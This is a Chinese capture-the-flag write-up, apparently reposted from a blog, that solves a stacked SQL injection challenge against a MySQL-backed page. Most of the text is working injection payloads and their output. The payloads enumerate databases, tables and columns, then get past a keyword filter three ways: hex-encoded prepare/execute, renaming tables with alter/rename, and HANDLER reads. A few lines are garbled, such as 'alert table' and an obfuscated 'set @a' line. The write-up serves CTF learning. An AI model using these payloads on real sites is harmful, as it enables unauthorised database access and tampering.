本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版
猜测这里的MySQL语句结构应该是:
select * from words where id=‘$inject‘;
构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可
先列出所有数据库:
1‘;show databases;#
得到:
array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }
选择数据库:
1‘;use supersqli;#
查询supersqli库中的所有表:
1‘;show tables;#
得到:
array(1) { [0]=> string(16) "1919810931114514" } array(1) { [0]=> string(5) "words" }
查询1919810931114514表中的字段(这里需要注意的是,如果表名是纯数字需要用反引号包裹,不然不会出现回显):
1‘;show columns from `1919810931114514`;#
得到:
array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
以上是正常的步骤,但是准备用select查询flag时发现了过滤,过滤掉了select、update、delete、drop、insert、where:
下面开始讲解获取flag的三种方法:
1.储存过程绕过(利用prepare语句):
1‘;[email protected]=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; //这里将MySQL语句进行了十六进制编码prepare execsql from @a; //使用prepare命令执行上面定义的MySQL语句execute execsql;#
关于这种绕过方式可以参考: PDO场景下的SQL注入探究
2.重命名绕过(利用alter语句与rename语句):
1’;rename table words to word1; //rename 用于修改 table 的名称rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; //alter 用于修改表中字段的属性alert table words change flag data varchar(100);#
执行完上述请求再访问1’ or 1=1 #即可获得Flag
3.handler语句代替select查询:
这个方法在i春秋GYCTF中本题的升级版(多过滤了prepare、set、rename,显然前两种方法都不适用)中亮相
1‘;handler `1919810931114514` open as ye; //同样的,这里的表名因为是纯数字所以需要用反引号包裹handler ye read first;handler ye close;# //注意:这里必须close handler才可以获取Flag
这里附上handler的用法:
HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE
e.g: 通过handler语句查询users表的内容:
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 handler yunensec read first; #读取指定表/句柄的首行数据 handler yunensec read next; #读取指定表/句柄的下一行数据 handler yunensec read next; #读取指定表/句柄的下一行数据 ... handler yunensec close; #关闭句柄
原文地址:https://www.cnblogs.com/yesec/p/12381210.html
时间: 2024-10-08 01:22:29